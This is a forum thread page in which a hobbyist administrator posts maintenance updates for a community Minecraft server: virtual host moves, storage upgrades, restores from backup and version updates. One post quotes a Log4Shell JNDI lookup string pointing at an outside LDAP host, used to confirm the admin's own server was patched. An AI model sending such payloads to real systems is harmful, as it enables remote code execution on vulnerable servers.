User Name
Password
AppleNova Forums » GamingNova »

MC: AppleNova Minecraft server upgrades & maintenance


Register Members List Calendar Search FAQ Posting Guidelines
MC: AppleNova Minecraft server upgrades & maintenance
Page 17 of 21 First Previous 13 14 15 16 [17] 18 19 20 21  Next Thread Tools
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2020-11-04, 15:18


Even better! With 10Gbs speeds using a SAN connection to the NAS will be fine for disk operations.

It will be nice when the internal SSD is usable for ESXi, but for now at least I already had a NAS and configured an iSCSI LUN to connect the hypervisor.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
kscherer
Which way is up?
 
Join Date: Aug 2004
Location: Boyzeee
 
2020-11-04, 15:48

Oh, good. I was hoping you had all those acronyms covered.

*Phew!*
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2020-11-04, 15:49

  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2020-11-06, 19:51

I'm moving the server now.

No one is on and hasn't been for a while so now is as good of a time as any. I'll post again once the move completes.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2020-11-06, 20:45

And the move is done.

Given the change in storage architecture please let me know if you encounter any oddities. I'm sure you will be fine, but just putting it out there.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2020-11-07, 10:50

Guess I was right about a memory issue:


This is from my first run on the old host we just moved from. No wonder I was having so many VM issues on that host.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
drewprops
Space Pirate
 
Join Date: May 2004
Location: Atlanta
 
2020-11-07, 20:34

Where's the Any key?


...
  quote
drewprops
Space Pirate
 
Join Date: May 2004
Location: Atlanta
 
2021-03-04, 20:43

The new server is BOSS!!


...
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-03-05, 09:40

Wow. That is amazing you figured out how I do this Drew! I was trying to keep it quiet.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-04-06, 14:55

I'm going to have to take the server down in the near future. I'm going to be upgrading my NAS to a 10Gb NIC. This should help performance in the server since it is a VM that runs it's storage from the NAS. This will be 10Gb from the ESXo host to the switch and 10Gb from the switch to the NAS.

I don't have specifics on when it will come down yet. I have th parts but have 14 VMs I have to take down from the NAS iSCSI connection to ESXi alone. Never mind the other services I'm running on the NAS. So it will be sudden when I can finally rip the band aide off! I'll try to make sure no one is on the server when I do it though.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-04-10, 10:07

So the NAS is back up and running with the 10Gb NIC ut the host is down and boot volume corrupted. This means I have to rebuild the host.

The good news is I have full backups of the servers so I won't lose anything from this other than time.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
Brad
Selfish Heathen
 
Join Date: May 2004
Location: Zone of Pain
 
2021-04-10, 15:40

Ganbare, turtle-sama!

And thanks for the play-by-play!
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-04-11, 08:32

OK, host rebuilt but the VM isn't compatible on this host anymore since I had to go from VM compatibility for ESXiv7 down to ESXiv6.7. I have a plan though it is just going to take a little more time. I have another ESXi host that I mostly use for work stuff. It is stable and production so it won't be a problem, but I'm going to upgrade it to v7 so the anmc VM will work natively again. Trying to attach the VMDK to a new 6.7 built VM fails and CentOS can't seem to read the volumes.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
_Ω_
Veteran Member
 
Join Date: May 2004
Send a message via AIM to _Ω_  
2021-04-11, 09:25

Quote:
Originally Posted by turtle View Post
OK, host rebuilt but the VM isn't compatible on this host anymore since I had to go from VM compatibility for ESXiv7 down to ESXiv6.7. I have a plan though it is just going to take a little more time. I have another ESXi host that I mostly use for work stuff. It is stable and production so it won't be a problem, but I'm going to upgrade it to v7 so the anmc VM will work natively again. Trying to attach the VMDK to a new 6.7 built VM fails and CentOS can't seem to read the volumes.
I don't speak turtle

FUMF
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-04-11, 21:49

So it looks like the VM is horribly corrupt. Even the backups I'm restoring from have an issue where Cent OS 7 can't find it's drives. I'll look into this more, but this is not going well. The most recent backup of the world files is from 20210408_085109. So if I have to rebuild the VM I can at least have our game data ready to restore.

Maybe Brad knows the issue I'm dealing with about Cent OS wanting to be in emergency boot mode and such... or maybe google. The problem is I'm on a vacation with my family (at home) so I'm not going to spend a ton of time making this work this week. Sorry for those who want to play but I do have to put my family first on this one.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-04-12, 10:34

We are back! I tried the restore again today and we are back to the exact point where I shutdown the server and completed a full backup. Please log in and check anything you want to be sure but I'm confident all is well.

What actually happened you might be wondering? Well, I wanted to access the 2TB of SSD storage internally to the Mac mini. This meant I needed to downgrade from ESXi v7U1 to v6.7U2. The problem wasn't the downgrade of the host (which did get me access to the internal storage) but rather than the VMs were at VMware compatibility level v7U1. VMware compatibility is specifically not able to be downgraded. So when restoring you can, in many case, create a new VM and just attach the VMDK (virtual HDDs) from the original machine to the new VM. Some things break when this happens but can easily be corrected.

In my case I had two CentOS 7 VMs that couldn't read the drives. They knew they were CentOS 7, but couldn't access the data beyond EFI. My Windows 2019 Servers all failed to activate and wouldn't let me move my license so I could reactivate them. This left me with $$$ to buy new licenses or get it back the way it was. Given I had clean, good backups I just couldn't pay for the licenses again.

So last night I reinstalled ESXi v7.0b. Notice it isn't U1? Yeah, so I didn't last night in my frustration and kept trying to get the VMs to work. The same ones that wouldn't work before still wouldn't work. So I posted here and walked away. Had some wine with my wife and tried to relax.

Then I realizes I was not at the same version level I was when I took the backups and that the VMware compatibility version must be the issue AGAIN. So this morning I upgraded to the latest and brought the server back to v7U1. Everything is restoring exactly as expected now. As I'm restoring these VMs, I'm noticing that the compatibility level isn't just v7 but is v7U1! Talk about painting myself into a corner.

In the end we have a 10Gb connection from the NAS to my switch and 10Gb from the mini to the switch. So data transfers will be improved either way. I would rather have access to the onboard storage, but not over have running VMs. I don't want to rebuild these things again. Especially when some would require more money to MS and others I literally just built and sunk hours into getting configured the way I needed.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
709
¡Damned!
 
Join Date: May 2004
Location: Purgatory
 
2021-04-13, 08:34

You the man, Turtle. I have no idea how you keep all of it straight but know that we appreciate that you do.
  quote
kscherer
Which way is up?
 
Join Date: Aug 2004
Location: Boyzeee
 
2021-04-13, 10:56

I'm with that guy ^

  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-04-13, 12:31

Glad to do it. Even when it gets super frustrating like this past weekend was!
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-09-20, 09:00

I'm not sure when it is going to happen, but in the not horribly long distant future I'm going to have the take the server down to do a NAS/SAN upgrade. This is going to take a while because I have to migrate the data in the current LUN to another one and then back to a new one. Needless to say, I'm not in a rush to put myself through this but I really do kinda need to make it happen. The SAN improvements are worth it but the pain to get there is questionable.

Anyway, I'll let everyone know when it happens. I know it isn't a busy server right now given the last time someone logged in was about a month ago, but I still want to let y'all know about it in case you do try to get in.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-09-23, 19:34

Tonight is the night. I'm taking the server down now. I'll let y'all know when it is back up.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-09-24, 07:26

The server is back up, but latency will likely be high. The temp SAN is struggling with disk I/O. Hopefully it will be very short term. I'll try to make it the first system to get back onto the upgraded SAN once I get to that point of putting things back.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-09-28, 08:24

NAS upgrades have been completed and new SAN/LUN created. I'm beginning the migrations back to the original NAS now. Shortly I'm going to take down the ANMC server and migrate it to the new store.

Edit: Down now. 0930 EDT

Edit2: And done! 0950 EDT

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.

Last edited by turtle : 2021-09-28 at 08:52.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-12-02, 10:01

Soooo.... I need to take the server down for about an hour. Sadly it isn't to upgrade to 1.18 but rather to move from SAN/iSCSI storage to SSD. This should enhance performance but please let me know if you find it gets worse. I'll ensure no one is actively using the server when I shut it down.

Edit: done and back up on the SSD. So far it is looking pretty good. I played a little and all seemed well. I didn't go digging with a super pick, but everything else worked smoothly as expected.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.

Last edited by turtle : 2021-12-02 at 10:44.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-12-05, 18:42

The server is down....

Moving to 1.18!

Edit: The game now requires Java 17 instead of Java 16.

Still working on this...

Last edited by turtle : 2021-12-05 at 19:10.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-12-05, 19:19

And we are back running on 1.18 with a clean haircut too! More details on that in the 1.18 thread.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-12-18, 14:57

I'm going to take the server down briefly to update the invocation command so logging goes to a remote syslog server I'm running now. Details of the change can be found here if you're curious.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2021-12-18, 15:12

And done. The server is back up.

For giggles, I tried to exploit the server and it is mitigated. Not sure if it is just from the 1.18.1 update or the nolookups flag in the invocation. Either way, we are safe. I verified there was no DNS lookup on my DNS server as well to be sure.

Code:
2021-12-18 15:05:56 [INFO] turtle2472 joined the game 2021-12-18 15:06:46 [INFO] <turtle2472> ${jndi:ldap://log4shell.huntress.com:1389/526e8632-7d86-4565-8b04-8c96147aee31}
Brad, the server still logs to logs/latest.log but should rotate out in the logs folder.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
Brad
Selfish Heathen
 
Join Date: May 2004
Location: Zone of Pain
 
2021-12-19, 19:23

Thanks for checking and updating that, T. I was curious if of how Minecraft might be affected by the log4j fun.
  quote
turtle
Lord of the Rant.
Formerly turtle2472
 
Join Date: Mar 2005
Location: Upstate South Carolina
 
2022-01-01, 18:22

The server is down right now. Last night at 0109 EST we had a power outage. That outage lasted longer than my UPS so the ESXi host dropped. This resulted in corruption of the ESXi OS. I'm rebuilding it still. Have spent my whole day doing this as a matter of fact.

Hopefully I won't have any issues with the VMs themselves, but I've not been able to test those yet. I'm sure they are fine and I can always fall back to the backups that we have for them if it came down to that.

Louis L'Amour, “To make democracy work, we must be a nation of participants, not simply observers. One who does not vote has no right to complain.”
Visit our archived Minecraft world! | Maybe someday I'll proof read, until then deal with it.
  quote
Posting Rules Navigation
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Page 17 of 21 First Previous 13 14 15 16 [17] 18 19 20 21  Next

Post Reply

Forum Jump
Thread Tools
Similar Threads
Thread Thread Starter Forum Replies Last Post
MC: AppleNova Minecraft Deathmatch Arena Bryson GamingNova 92 2019-08-04 14:44
MC: AppleNova Minecraft Server Discussion Brad GamingNova 6 2011-04-14 17:10
AppleNova Minecraft Server Brad GamingNova 1450 2011-04-10 15:01
Official AppleNova Minecraft Server Details Brad GamingNova 0 2010-12-15 22:31


« Previous Thread | Next Thread »

All times are GMT -5. The time now is 11:58.


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Copyright ©2004 - 2024, AppleNova